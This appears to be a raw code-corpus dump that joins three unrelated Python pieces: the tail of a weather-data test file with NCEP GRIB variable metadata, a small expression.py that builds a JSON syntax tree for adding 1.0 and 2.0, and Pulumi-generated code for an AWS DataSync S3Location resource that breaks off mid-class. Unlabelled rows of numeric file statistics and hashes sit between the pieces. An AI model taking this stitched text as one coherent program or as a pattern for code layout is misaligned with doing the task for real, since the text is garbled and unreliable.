'HGT_P0_L6_GLL0': {'center': 'US National Weather Service - NCEP (WMC)', 'production_status': 'Operational products', 'long_name': 'Geopotential height', 'units': 'gpm', '_FillValue': np.array([1.e+20], dtype=np.float32), 'grid_type': 'Latitude/longitude (quasi-regular grid expanded by cubic interpolation)', 'parameter_discipline_and_category': 'Meteorological products, Mass', 'parameter_template_discipline_category_number': np.array([0, 0, 3, 5], dtype=np.int32), 'level_type': 'Maximum wind level', 'level': np.array([0.], dtype=np.float32), 'forecast_time': np.array([60], dtype=np.int32), 'forecast_time_units': 'hours', 'initial_time': '01/10/2007 (06:00)'},
'HGT_P0_L7_GLL0': {'center': 'US National Weather Service - NCEP (WMC)', 'production_status': 'Operational products', 'long_name': 'Geopotential height', 'units': 'gpm', '_FillValue': np.array([1.e+20], dtype=np.float32), 'grid_type': 'Latitude/longitude (quasi-regular grid expanded by cubic interpolation)', 'parameter_discipline_and_category': 'Meteorological products, Mass', 'parameter_template_discipline_category_number': np.array([0, 0, 3, 5], dtype=np.int32), 'level_type': 'Tropopause', 'level': np.array([0.], dtype=np.float32), 'forecast_time': np.array([60], dtype=np.int32), 'forecast_time_units': 'hours', 'initial_time': '01/10/2007 (06:00)'},
'HGT_P0_L100_GLL0': {'center': 'US National Weather Service - NCEP (WMC)', 'production_status': 'Operational products', 'long_name': 'Geopotential height', 'units': 'gpm', '_FillValue': np.array([1.e+20], dtype=np.float32), 'grid_type': 'Latitude/longitude (quasi-regular grid expanded by cubic interpolation)', 'parameter_discipline_and_category': 'Meteorological products, Mass', 'parameter_template_discipline_category_number': np.array([0, 0, 3, 5], dtype=np.int32), 'level_type': 'Isobaric surface (Pa)', 'forecast_time': np.array([60], dtype=np.int32), 'forecast_time_units': 'hours', 'initial_time': '01/10/2007 (06:00)'},
'APCP_P8_L1_GLL0_acc6h': {'center': 'US National Weather Service - NCEP (WMC)', 'production_status': 'Operational products', 'long_name': 'Total precipitation', 'units': 'kg m-2', '_FillValue': np.array([1.e+20], dtype=np.float32), 'grid_type': 'Latitude/longitude (quasi-regular grid expanded by cubic interpolation)', 'parameter_discipline_and_category': 'Meteorological products, Moisture', 'parameter_template_discipline_category_number': np.array([8, 0, 1, 8], dtype=np.int32), 'level_type': 'Ground or water surface', 'level': np.array([0.], dtype=np.float32), 'type_of_statistical_processing': 'Accumulation', 'statistical_process_duration': '6 hours (ending at forecast time)', 'forecast_time': np.array([60], dtype=np.int32), 'forecast_time_units': 'hours', 'initial_time': '01/10/2007 (06:00)'},
'ACPCP_P8_L1_GLL0_acc6h': {'center': 'US National Weather Service - NCEP (WMC)', 'production_status': 'Operational products', 'long_name': 'Convective precipitation', 'units': 'kg m-2', '_FillValue': np.array([1.e+20], dtype=np.float32), 'grid_type': 'Latitude/longitude (quasi-regular grid expanded by cubic interpolation)', 'parameter_discipline_and_category': 'Meteorological products, Moisture', 'parameter_template_discipline_category_number': np.array([ 8, 0, 1, 10], dtype=np.int32), 'level_type': 'Ground or water surface', 'level': np.array([0.], dtype=np.float32), 'type_of_statistical_processing': 'Accumulation', 'statistical_process_duration': '6 hours (ending at forecast time)', 'forecast_time': np.array([60], dtype=np.int32), 'forecast_time_units': 'hours', 'initial_time': '01/10/2007 (06:00)'},
'lv_ISBL2': {'long_name': 'Isobaric surface', 'units': 'Pa'},
'lv_ISBL1': {'long_name': 'Isobaric surface', 'units': 'Pa'},
'lv_ISBL0': {'long_name': 'Isobaric surface', 'units': 'Pa'},
'lat_0': {'long_name': 'latitude', 'grid_type': 'Latitude/longitude Grid (Quasi-Regular)', 'units': 'degrees_north', 'Dj': np.array([1.25], dtype=np.float32), 'Di': np.array([1.25], dtype=np.float32), 'Lo2': np.array([330.], dtype=np.float32), 'La2': np.array([90.], dtype=np.float32), 'Lo1': np.array([240.], dtype=np.float32), 'La1': np.array([0.], dtype=np.float32)},
'lon_0': {'long_name': 'longitude', 'grid_type': 'Latitude/longitude Grid (Quasi-Regular)', 'units': 'degrees_east', 'Dj': np.array([1.25], dtype=np.float32), 'Di': np.array([1.25], dtype=np.float32), 'Lo2': np.array([330.], dtype=np.float32), 'La2': np.array([90.], dtype=np.float32), 'Lo1': np.array([240.], dtype=np.float32), 'La1': np.array([0.], dtype=np.float32)}}
var_coordinates = {'TMP_P0_L6_GLL0': ['lat_0', 'lon_0'], 'TMP_P0_L7_GLL0': ['lat_0', 'lon_0'], 'TMP_P0_L100_GLL0': ['lv_ISBL0', 'lat_0', 'lon_0'], 'TMP_P0_L103_GLL0': ['lat_0', 'lon_0'], 'TMP_P0_2L108_GLL0': ['lat_0', 'lon_0'], 'RH_P0_L100_GLL0': ['lv_ISBL1', 'lat_0', 'lon_0'], 'RH_P0_L103_GLL0': ['lat_0', 'lon_0'], 'RH_P0_2L108_GLL0': ['lat_0', 'lon_0'], 'UGRD_P0_L6_GLL0': ['lat_0', 'lon_0'], 'UGRD_P0_L7_GLL0': ['lat_0', 'lon_0'], 'UGRD_P0_L100_GLL0': ['lv_ISBL0', 'lat_0', 'lon_0'], 'UGRD_P0_L103_GLL0': ['lat_0', 'lon_0'], 'UGRD_P0_2L108_GLL0': ['lat_0', 'lon_0'], 'VGRD_P0_L6_GLL0': ['lat_0', 'lon_0'], 'VGRD_P0_L7_GLL0': ['lat_0', 'lon_0'], 'VGRD_P0_L100_GLL0': ['lv_ISBL0', 'lat_0', 'lon_0'], 'VGRD_P0_L103_GLL0': ['lat_0', 'lon_0'], 'VGRD_P0_2L108_GLL0': ['lat_0', 'lon_0'], 'VVEL_P0_L100_GLL0': ['lv_ISBL2', 'lat_0', 'lon_0'], 'ABSV_P0_L100_GLL0': ['lat_0', 'lon_0'], 'PRES_P0_L1_GLL0': ['lat_0', 'lon_0'], 'PRES_P0_L6_GLL0': ['lat_0', 'lon_0'], 'PRES_P0_L7_GLL0': ['lat_0', 'lon_0'], 'PRMSL_P0_L101_GLL0': ['lat_0', 'lon_0'], 'HGT_P0_L6_GLL0': ['lat_0', 'lon_0'], 'HGT_P0_L7_GLL0': ['lat_0', 'lon_0'], 'HGT_P0_L100_GLL0': ['lv_ISBL0', 'lat_0', 'lon_0'], 'APCP_P8_L1_GLL0_acc6h': ['lat_0', 'lon_0'], 'ACPCP_P8_L1_GLL0_acc6h': ['lat_0', 'lon_0'], 'lv_ISBL2': ['lv_ISBL2'], 'lv_ISBL1': ['lv_ISBL1'], 'lv_ISBL0': ['lv_ISBL0'], 'lat_0': ['lat_0'], 'lon_0': ['lon_0']}
var_dimensions = {'TMP_P0_L6_GLL0': ('lat_0', 'lon_0'), 'TMP_P0_L7_GLL0': ('lat_0', 'lon_0'), 'TMP_P0_L100_GLL0': ('lv_ISBL0', 'lat_0', 'lon_0'), 'TMP_P0_L103_GLL0': ('lat_0', 'lon_0'), 'TMP_P0_2L108_GLL0': ('lat_0', 'lon_0'), 'RH_P0_L100_GLL0': ('lv_ISBL1', 'lat_0', 'lon_0'), 'RH_P0_L103_GLL0': ('lat_0', 'lon_0'), 'RH_P0_2L108_GLL0': ('lat_0', 'lon_0'), 'UGRD_P0_L6_GLL0': ('lat_0', 'lon_0'), 'UGRD_P0_L7_GLL0': ('lat_0', 'lon_0'), 'UGRD_P0_L100_GLL0': ('lv_ISBL0', 'lat_0', 'lon_0'), 'UGRD_P0_L103_GLL0': ('lat_0', 'lon_0'), 'UGRD_P0_2L108_GLL0': ('lat_0', 'lon_0'), 'VGRD_P0_L6_GLL0': ('lat_0', 'lon_0'), 'VGRD_P0_L7_GLL0': ('lat_0', 'lon_0'), 'VGRD_P0_L100_GLL0': ('lv_ISBL0', 'lat_0', 'lon_0'), 'VGRD_P0_L103_GLL0': ('lat_0', 'lon_0'), 'VGRD_P0_2L108_GLL0': ('lat_0', 'lon_0'), 'VVEL_P0_L100_GLL0': ('lv_ISBL2', 'lat_0', 'lon_0'), 'ABSV_P0_L100_GLL0': ('lat_0', 'lon_0'), 'PRES_P0_L1_GLL0': ('lat_0', 'lon_0'), 'PRES_P0_L6_GLL0': ('lat_0', 'lon_0'), 'PRES_P0_L7_GLL0': ('lat_0', 'lon_0'), 'PRMSL_P0_L101_GLL0': ('lat_0', 'lon_0'), 'HGT_P0_L6_GLL0': ('lat_0', 'lon_0'), 'HGT_P0_L7_GLL0': ('lat_0', 'lon_0'), 'HGT_P0_L100_GLL0': ('lv_ISBL0', 'lat_0', 'lon_0'), 'APCP_P8_L1_GLL0_acc6h': ('lat_0', 'lon_0'), 'ACPCP_P8_L1_GLL0_acc6h': ('lat_0', 'lon_0'), 'lv_ISBL2': ('lv_ISBL2',), 'lv_ISBL1': ('lv_ISBL1',), 'lv_ISBL0': ('lv_ISBL0',), 'lat_0': ('lat_0',), 'lon_0': ('lon_0',)}
var_shapes = {'TMP_P0_L6_GLL0': (73, 73), 'TMP_P0_L7_GLL0': (73, 73), 'TMP_P0_L100_GLL0': (12, 73, 73), 'TMP_P0_L103_GLL0': (73, 73), 'TMP_P0_2L108_GLL0': (73, 73), 'RH_P0_L100_GLL0': (11, 73, 73), 'RH_P0_L103_GLL0': (73, 73), 'RH_P0_2L108_GLL0': (73, 73), 'UGRD_P0_L6_GLL0': (73, 73), 'UGRD_P0_L7_GLL0': (73, 73), 'UGRD_P0_L100_GLL0': (12, 73, 73), 'UGRD_P0_L103_GLL0': (73, 73), 'UGRD_P0_2L108_GLL0': (73, 73), 'VGRD_P0_L6_GLL0': (73, 73), 'VGRD_P0_L7_GLL0': (73, 73), 'VGRD_P0_L100_GLL0': (12, 73, 73), 'VGRD_P0_L103_GLL0': (73, 73), 'VGRD_P0_2L108_GLL0': (73, 73), 'VVEL_P0_L100_GLL0': (10, 73, 73), 'ABSV_P0_L100_GLL0': (73, 73), 'PRES_P0_L1_GLL0': (73, 73), 'PRES_P0_L6_GLL0': (73, 73), 'PRES_P0_L7_GLL0': (73, 73), 'PRMSL_P0_L101_GLL0': (73, 73), 'HGT_P0_L6_GLL0': (73, 73), 'HGT_P0_L7_GLL0': (73, 73), 'HGT_P0_L100_GLL0': (12, 73, 73), 'APCP_P8_L1_GLL0_acc6h': (73, 73), 'ACPCP_P8_L1_GLL0_acc6h': (73, 73), 'lv_ISBL2': (10,), 'lv_ISBL1': (11,), 'lv_ISBL0': (12,), 'lat_0': (73,), 'lon_0': (73,)}
var_values = {'APCP_P8_L1_GLL0_acc6h': (np.float32(0.0), np.float32(33.7999992371), np.float32(0.623701155186), 0), 'lon_0': (np.float32(240.0), np.float32(330.0), np.float32(285.0), 0), 'TMP_P0_L6_GLL0': (np.float32(193.900009155), np.float32(261.600006104), np.float32(216.196563721), 0), 'VGRD_P0_2L108_GLL0': (np.float32(-18.2356719971), np.float32(13.5572328568), np.float32(-2.31418204308), 0), 'TMP_P0_L100_GLL0': (np.float32(191.0), np.float32(309.899993896), np.float32(235.835678101), 0), 'HGT_P0_L100_GLL0': (np.float32(-176.838745117), np.float32(18648.0996094), np.float32(8269.54003906), 0), 'lv_ISBL1': (np.float32(10000.0), np.float32(100000.0), np.float32(45909.0898438), 0), 'VVEL_P0_L100_GLL0': (np.float32(-1.85594856739), np.float32(2.24219083786), np.float32(0.00198890874162), 0), 'UGRD_P0_L6_GLL0': (np.float32(-43.6952095032), np.float32(72.5000076294), np.float32(20.1869392395), 0), 'HGT_P0_L7_GLL0': (np.float32(5400.55908203), np.float32(18048.375), np.float32(12234.5517578), 0), 'lv_ISBL0': (np.float32(7000.0), np.float32(100000.0), np.float32(42666.6679688), 0), 'RH_P0_L100_GLL0': (np.float32(0.0), np.float32(100.000007629), np.float32(52.2728462219), 0), 'lv_ISBL2': (np.float32(10000.0), np.float32(85000.0), np.float32(40500.0), 0), 'HGT_P0_L6_GLL0': (np.float32(4956.57373047), np.float32(16123.0), np.float32(11731.2314453), 0), 'UGRD_P0_L7_GLL0': (np.float32(-36.7887115479), np.float32(70.8996658325), np.float32(12.3855905533), 0), 'PRES_P0_L6_GLL0': (np.float32(10114.2568359), np.float32(49459.546875), np.float32(21470.046875), 0), 'UGRD_P0_2L108_GLL0': (np.float32(-16.0958938599), np.float32(20.0624656677), np.float32(-0.425731301308), 0), 'VGRD_P0_L103_GLL0': (np.float32(-15.6383142471), np.float32(10.2977972031), np.float32(-1.79692208767), 0), 'UGRD_P0_L100_GLL0': (np.float32(-42.7976074219), np.float32(71.7999954224), np.float32(8.98904132843), 0), 'PRES_P0_L7_GLL0': (np.float32(7745.12011719), np.float32(46633.7265625), np.float32(19970.8007812), 0), 'ACPCP_P8_L1_GLL0_acc6h': (np.float32(0.0), np.float32(18.6000003815), np.float32(0.329127520323), 0), 'TMP_P0_2L108_GLL0': (np.float32(231.516067505), np.float32(305.434539795), np.float32(272.299743652), 0), 'VGRD_P0_L100_GLL0': (np.float32(-42.8719329834), np.float32(61.0392379761), np.float32(-1.64866149426), 0), 'PRES_P0_L1_GLL0': (np.float32(64922.5273438), np.float32(103622.0), np.float32(98165.3125), 0), 'VGRD_P0_L7_GLL0': (np.float32(-38.5681190491), np.float32(52.9976501465), np.float32(-1.2733476162), 0), 'lat_0': (np.float32(0.0), np.float32(90.0), np.float32(45.0), 0), 'PRMSL_P0_L101_GLL0': (np.float32(97783.59375), np.float32(104073.859375), np.float32(101647.945312), 0), 'ABSV_P0_L100_GLL0': (np.float32(-0.00017200000002), np.float32(0.000408831459936), np.float32(9.46399377426e-05), 0), 'RH_P0_L103_GLL0': (np.float32(0.0), np.float32(100.000007629), np.float32(82.7878341675), 0), 'RH_P0_2L108_GLL0': (np.float32(27.0), np.float32(100.000007629), np.float32(80.7845001221), 0), 'UGRD_P0_L103_GLL0': (np.float32(-13.2958927155), np.float32(17.2895393372), np.float32(-0.374222457409), 0), 'TMP_P0_L7_GLL0': (np.float32(188.400009155), np.float32(238.699996948), np.float32(206.371734619), 0), 'VGRD_P0_L6_GLL0': (np.float32(-45.2572784424), np.float32(60.4144821167), np.float32(-1.7002351284), 0), 'TMP_P0_L103_GLL0': (np.float32(214.300003052), np.float32(309.200012207), np.float32(272.96862793), 0)}
def get_coord_dims(var):
return [dim for dim in var.dimensions if dim in var.file.variables.keys()]
if __name__ == '__main__':
ut.main()
| 320.28866
| 3,441
| 0.703167
| 4,627
| 31,068
| 4.448455
| 0.076507
| 0.072584
| 0.015547
| 0.023709
| 0.852645
| 0.804742
| 0.785648
| 0.778507
| 0.77666
| 0.77151
| 0
| 0.11991
| 0.102903
| 31,068
| 96
| 3,442
| 323.625
| 0.6186
| 0
| 0
| 0.111111
| 0
| 0
| 0.537981
| 0.086423
| 0
| 0
| 0
| 0
| 0.098765
| 1
| 0.123457
| false
| 0
| 0.061728
| 0.012346
| 0.209877
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
d99e87f0da96dadba520f690209307134d8f41f3
| 2,051
|
py
|
Python
|
src/app/expression.py
|
kimrin/MW
|
24513a8a81c62bb25b1fd50486447b0c286e1601
|
[
"MIT"
] | null | null | null |
src/app/expression.py
|
kimrin/MW
|
24513a8a81c62bb25b1fd50486447b0c286e1601
|
[
"MIT"
] | null | null | null |
src/app/expression.py
|
kimrin/MW
|
24513a8a81c62bb25b1fd50486447b0c286e1601
|
[
"MIT"
] | null | null | null |
# -*- coding: utf-8 -*-
import json
from pprint import pprint
class ExpressionGenerator(object):
def __init__(self):
pass
def codegen(self):
js = {}
js['Who creates MW?'] = 'Machine'
js['MW Creator name'] = 'class ExpressionGenerator'
jsmw = js['MW CU'] = {}
jsmw[r'@entry'] = [{'ast': 'assign',
'LHS': {'ast': 'lvalue',
'type number': -64.5,
'name': 'v'},
'RHS': {'ast': 'plus',
'type number': -64.5,
'LHS': {'ast': 'fvalue',
'type number': -64.5,
'value': 1.0},
'RHS': {'ast': 'fvalue',
'type number': -64.5,
'value': 2.0}}}]
print('code json:')
pprint(js)
return json.dumps(js)
def codegen_jsonnet(self):
js = {}
js['Who creates MW?'] = 'Machine'
js['MW Creator name'] = 'class ExpressionGenerator'
jsmw = js['MW CU'] = {}
jsmw[r'@entry'] = [{'ast': 'assign',
'LHS': {'ast': 'lvalue',
'type number': -64.5,
'name': 'v'},
'RHS': {'ast': 'plus',
'type number': -64.5,
'LHS': {'ast': 'fvalue',
'type number': -64.5,
'value': 1.0},
'RHS': {'ast': 'fvalue',
'type number': -64.5,
'value': 2.0}}}]
print('code json:')
pprint(js)
return json.dumps(js)
| 35.362069
| 65
| 0.301804
| 155
| 2,051
| 3.96129
| 0.303226
| 0.130293
| 0.156352
| 0.169381
| 0.814332
| 0.814332
| 0.814332
| 0.814332
| 0.814332
| 0.814332
| 0
| 0.036264
| 0.556314
| 2,051
| 57
| 66
| 35.982456
| 0.638462
| 0.010239
| 0
| 0.844444
| 0
| 0
| 0.19428
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.066667
| false
| 0.022222
| 0.044444
| 0
| 0.177778
| 0.111111
| 0
| 0
| 0
| null | 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 9
|
d9aeab66628f5f50adcb4d56ec1b914cf0383130
| 15,628
|
py
|
Python
|
sdk/python/pulumi_aws/datasync/s3_location.py
|
aamir-locus/pulumi-aws
|
3e234b050129bde35d8e072a88bd608562f02142
|
[
"ECL-2.0",
"Apache-2.0"
] | null | null | null |
sdk/python/pulumi_aws/datasync/s3_location.py
|
aamir-locus/pulumi-aws
|
3e234b050129bde35d8e072a88bd608562f02142
|
[
"ECL-2.0",
"Apache-2.0"
] | null | null | null |
sdk/python/pulumi_aws/datasync/s3_location.py
|
aamir-locus/pulumi-aws
|
3e234b050129bde35d8e072a88bd608562f02142
|
[
"ECL-2.0",
"Apache-2.0"
] | null | null | null |
# coding=utf-8
# *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import warnings
import pulumi
import pulumi.runtime
from typing import Any, Mapping, Optional, Sequence, Union, overload
from .. import _utilities
from . import outputs
from ._inputs import *
__all__ = ['S3LocationArgs', 'S3Location']
@pulumi.input_type
class S3LocationArgs:
def __init__(__self__, *,
s3_bucket_arn: pulumi.Input[str],
s3_config: pulumi.Input['S3LocationS3ConfigArgs'],
subdirectory: pulumi.Input[str],
tags: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None):
"""
The set of arguments for constructing a S3Location resource.
:param pulumi.Input[str] s3_bucket_arn: Amazon Resource Name (ARN) of the S3 Bucket.
:param pulumi.Input['S3LocationS3ConfigArgs'] s3_config: Configuration block containing information for connecting to S3.
:param pulumi.Input[str] subdirectory: Prefix to perform actions as source or destination.
:param pulumi.Input[Mapping[str, pulumi.Input[str]]] tags: Key-value pairs of resource tags to assign to the DataSync Location.
"""
pulumi.set(__self__, "s3_bucket_arn", s3_bucket_arn)
pulumi.set(__self__, "s3_config", s3_config)
pulumi.set(__self__, "subdirectory", subdirectory)
if tags is not None:
pulumi.set(__self__, "tags", tags)
@property
@pulumi.getter(name="s3BucketArn")
def s3_bucket_arn(self) -> pulumi.Input[str]:
"""
Amazon Resource Name (ARN) of the S3 Bucket.
"""
return pulumi.get(self, "s3_bucket_arn")
@s3_bucket_arn.setter
def s3_bucket_arn(self, value: pulumi.Input[str]):
pulumi.set(self, "s3_bucket_arn", value)
@property
@pulumi.getter(name="s3Config")
def s3_config(self) -> pulumi.Input['S3LocationS3ConfigArgs']:
"""
Configuration block containing information for connecting to S3.
"""
return pulumi.get(self, "s3_config")
@s3_config.setter
def s3_config(self, value: pulumi.Input['S3LocationS3ConfigArgs']):
pulumi.set(self, "s3_config", value)
@property
@pulumi.getter
def subdirectory(self) -> pulumi.Input[str]:
"""
Prefix to perform actions as source or destination.
"""
return pulumi.get(self, "subdirectory")
@subdirectory.setter
def subdirectory(self, value: pulumi.Input[str]):
pulumi.set(self, "subdirectory", value)
@property
@pulumi.getter
def tags(self) -> Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]:
"""
Key-value pairs of resource tags to assign to the DataSync Location.
"""
return pulumi.get(self, "tags")
@tags.setter
def tags(self, value: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]):
pulumi.set(self, "tags", value)
@pulumi.input_type
class _S3LocationState:
def __init__(__self__, *,
arn: Optional[pulumi.Input[str]] = None,
s3_bucket_arn: Optional[pulumi.Input[str]] = None,
s3_config: Optional[pulumi.Input['S3LocationS3ConfigArgs']] = None,
subdirectory: Optional[pulumi.Input[str]] = None,
tags: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None,
uri: Optional[pulumi.Input[str]] = None):
"""
Input properties used for looking up and filtering S3Location resources.
:param pulumi.Input[str] arn: Amazon Resource Name (ARN) of the DataSync Location.
:param pulumi.Input[str] s3_bucket_arn: Amazon Resource Name (ARN) of the S3 Bucket.
:param pulumi.Input['S3LocationS3ConfigArgs'] s3_config: Configuration block containing information for connecting to S3.
:param pulumi.Input[str] subdirectory: Prefix to perform actions as source or destination.
:param pulumi.Input[Mapping[str, pulumi.Input[str]]] tags: Key-value pairs of resource tags to assign to the DataSync Location.
"""
if arn is not None:
pulumi.set(__self__, "arn", arn)
if s3_bucket_arn is not None:
pulumi.set(__self__, "s3_bucket_arn", s3_bucket_arn)
if s3_config is not None:
pulumi.set(__self__, "s3_config", s3_config)
if subdirectory is not None:
pulumi.set(__self__, "subdirectory", subdirectory)
if tags is not None:
pulumi.set(__self__, "tags", tags)
if uri is not None:
pulumi.set(__self__, "uri", uri)
@property
@pulumi.getter
def arn(self) -> Optional[pulumi.Input[str]]:
"""
Amazon Resource Name (ARN) of the DataSync Location.
"""
return pulumi.get(self, "arn")
@arn.setter
def arn(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "arn", value)
@property
@pulumi.getter(name="s3BucketArn")
def s3_bucket_arn(self) -> Optional[pulumi.Input[str]]:
"""
Amazon Resource Name (ARN) of the S3 Bucket.
"""
return pulumi.get(self, "s3_bucket_arn")
@s3_bucket_arn.setter
def s3_bucket_arn(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "s3_bucket_arn", value)
@property
@pulumi.getter(name="s3Config")
def s3_config(self) -> Optional[pulumi.Input['S3LocationS3ConfigArgs']]:
"""
Configuration block containing information for connecting to S3.
"""
return pulumi.get(self, "s3_config")
@s3_config.setter
def s3_config(self, value: Optional[pulumi.Input['S3LocationS3ConfigArgs']]):
pulumi.set(self, "s3_config", value)
@property
@pulumi.getter
def subdirectory(self) -> Optional[pulumi.Input[str]]:
"""
Prefix to perform actions as source or destination.
"""
return pulumi.get(self, "subdirectory")
@subdirectory.setter
def subdirectory(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "subdirectory", value)
@property
@pulumi.getter
def tags(self) -> Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]:
"""
Key-value pairs of resource tags to assign to the DataSync Location.
"""
return pulumi.get(self, "tags")
@tags.setter
def tags(self, value: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]):
pulumi.set(self, "tags", value)
@property
@pulumi.getter
def uri(self) -> Optional[pulumi.Input[str]]:
return pulumi.get(self, "uri")
@uri.setter
def uri(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "uri", value)
class S3Location(pulumi.CustomResource):
@overload
def __init__(__self__,
resource_name: str,
opts: Optional[pulumi.ResourceOptions] = None,
s3_bucket_arn: Optional[pulumi.Input[str]] = None,
s3_config: Optional[pulumi.Input[pulumi.InputType['S3LocationS3ConfigArgs']]] = None,
subdirectory: Optional[pulumi.Input[str]] = None,
tags: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None,
__props__=None):
"""
Manages an S3 Location within AWS DataSync.
## Example Usage
```python
import pulumi
import pulumi_aws as aws
example = aws.datasync.S3Location("example",
s3_bucket_arn=aws_s3_bucket["example"]["arn"],
subdirectory="/example/prefix",
s3_config=aws.datasync.S3LocationS3ConfigArgs(
bucket_access_role_arn=aws_iam_role["example"]["arn"],
))
```
## Import
`aws_datasync_location_s3` can be imported by using the DataSync Task Amazon Resource Name (ARN), e.g.
```sh
$ pulumi import aws:datasync/s3Location:S3Location example arn:aws:datasync:us-east-1:123456789012:location/loc-12345678901234567
```
:param str resource_name: The name of the resource.
:param pulumi.ResourceOptions opts: Options for the resource.
:param pulumi.Input[str] s3_bucket_arn: Amazon Resource Name (ARN) of the S3 Bucket.
:param pulumi.Input[pulumi.InputType['S3LocationS3ConfigArgs']] s3_config: Configuration block containing information for connecting to S3.
:param pulumi.Input[str] subdirectory: Prefix to perform actions as source or destination.
:param pulumi.Input[Mapping[str, pulumi.Input[str]]] tags: Key-value pairs of resource tags to assign to the DataSync Location.
"""
...
@overload
def __init__(__self__,
resource_name: str,
args: S3LocationArgs,
opts: Optional[pulumi.ResourceOptions] = None):
"""
Manages an S3 Location within AWS DataSync.
## Example Usage
```python
import pulumi
import pulumi_aws as aws
example = aws.datasync.S3Location("example",
s3_bucket_arn=aws_s3_bucket["example"]["arn"],
subdirectory="/example/prefix",
s3_config=aws.datasync.S3LocationS3ConfigArgs(
bucket_access_role_arn=aws_iam_role["example"]["arn"],
))
```
## Import
`aws_datasync_location_s3` can be imported by using the DataSync Task Amazon Resource Name (ARN), e.g.
```sh
$ pulumi import aws:datasync/s3Location:S3Location example arn:aws:datasync:us-east-1:123456789012:location/loc-12345678901234567
```
:param str resource_name: The name of the resource.
:param S3LocationArgs args: The arguments to use to populate this resource's properties.
:param pulumi.ResourceOptions opts: Options for the resource.
"""
...
def __init__(__self__, resource_name: str, *args, **kwargs):
resource_args, opts = _utilities.get_resource_args_opts(S3LocationArgs, pulumi.ResourceOptions, *args, **kwargs)
if resource_args is not None:
__self__._internal_init(resource_name, opts, **resource_args.__dict__)
else:
__self__._internal_init(resource_name, *args, **kwargs)
def _internal_init(__self__,
resource_name: str,
opts: Optional[pulumi.ResourceOptions] = None,
s3_bucket_arn: Optional[pulumi.Input[str]] = None,
s3_config: Optional[pulumi.Input[pulumi.InputType['S3LocationS3ConfigArgs']]] = None,
subdirectory: Optional[pulumi.Input[str]] = None,
tags: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None,
__props__=None):
if opts is None:
opts = pulumi.ResourceOptions()
if not isinstance(opts, pulumi.ResourceOptions):
raise TypeError('Expected resource options to be a ResourceOptions instance')
if opts.version is None:
opts.version = _utilities.get_version()
if opts.id is None:
if __props__ is not None:
raise TypeError('__props__ is only valid when passed in combination with a valid opts.id to get an existing resource')
__props__ = S3LocationArgs.__new__(S3LocationArgs)
if s3_bucket_arn is None and not opts.urn:
raise TypeError("Missing required property 's3_bucket_arn'")
__props__.__dict__["s3_bucket_arn"] = s3_bucket_arn
if s3_config is None and not opts.urn:
raise TypeError("Missing required property 's3_config'")
__props__.__dict__["s3_config"] = s3_config
if subdirectory is None and not opts.urn:
raise TypeError("Missing required property 'subdirectory'")
__props__.__dict__["subdirectory"] = subdirectory
__props__.__dict__["tags"] = tags
__props__.__dict__["arn"] = None
__props__.__dict__["uri"] = None
super(S3Location, __self__).__init__(
'aws:datasync/s3Location:S3Location',
resource_name,
__props__,
opts)
@staticmethod
def get(resource_name: str,
id: pulumi.Input[str],
opts: Optional[pulumi.ResourceOptions] = None,
arn: Optional[pulumi.Input[str]] = None,
s3_bucket_arn: Optional[pulumi.Input[str]] = None,
s3_config: Optional[pulumi.Input[pulumi.InputType['S3LocationS3ConfigArgs']]] = None,
subdirectory: Optional[pulumi.Input[str]] = None,
tags: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None,
uri: Optional[pulumi.Input[str]] = None) -> 'S3Location':
"""
Get an existing S3Location resource's state with the given name, id, and optional extra
properties used to qualify the lookup.
:param str resource_name: The unique name of the resulting resource.
:param pulumi.Input[str] id: The unique provider ID of the resource to lookup.
:param pulumi.ResourceOptions opts: Options for the resource.
:param pulumi.Input[str] arn: Amazon Resource Name (ARN) of the DataSync Location.
:param pulumi.Input[str] s3_bucket_arn: Amazon Resource Name (ARN) of the S3 Bucket.
:param pulumi.Input[pulumi.InputType['S3LocationS3ConfigArgs']] s3_config: Configuration block containing information for connecting to S3.
:param pulumi.Input[str] subdirectory: Prefix to perform actions as source or destination.
:param pulumi.Input[Mapping[str, pulumi.Input[str]]] tags: Key-value pairs of resource tags to assign to the DataSync Location.
"""
opts = pulumi.ResourceOptions.merge(opts, pulumi.ResourceOptions(id=id))
__props__ = _S3LocationState.__new__(_S3LocationState)
__props__.__dict__["arn"] = arn
__props__.__dict__["s3_bucket_arn"] = s3_bucket_arn
__props__.__dict__["s3_config"] = s3_config
__props__.__dict__["subdirectory"] = subdirectory
__props__.__dict__["tags"] = tags
__props__.__dict__["uri"] = uri
return S3Location(resource_name, opts=opts, __props__=__props__)
@property
@pulumi.getter
def arn(self) -> pulumi.Output[str]:
"""
Amazon Resource Name (ARN) of the DataSync Location.
"""
return pulumi.get(self, "arn")
@property
@pulumi.getter(name="s3BucketArn")
def s3_bucket_arn(self) -> pulumi.Output[str]:
"""
Amazon Resource Name (ARN) of the S3 Bucket.
"""
return pulumi.get(self, "s3_bucket_arn")
@property
@pulumi.getter(name="s3Config")
def s3_config(self) -> pulumi.Output['outputs.S3LocationS3Config']:
"""
Configuration block containing information for connecting to S3.
"""
return pulumi.get(self, "s3_config")
@property
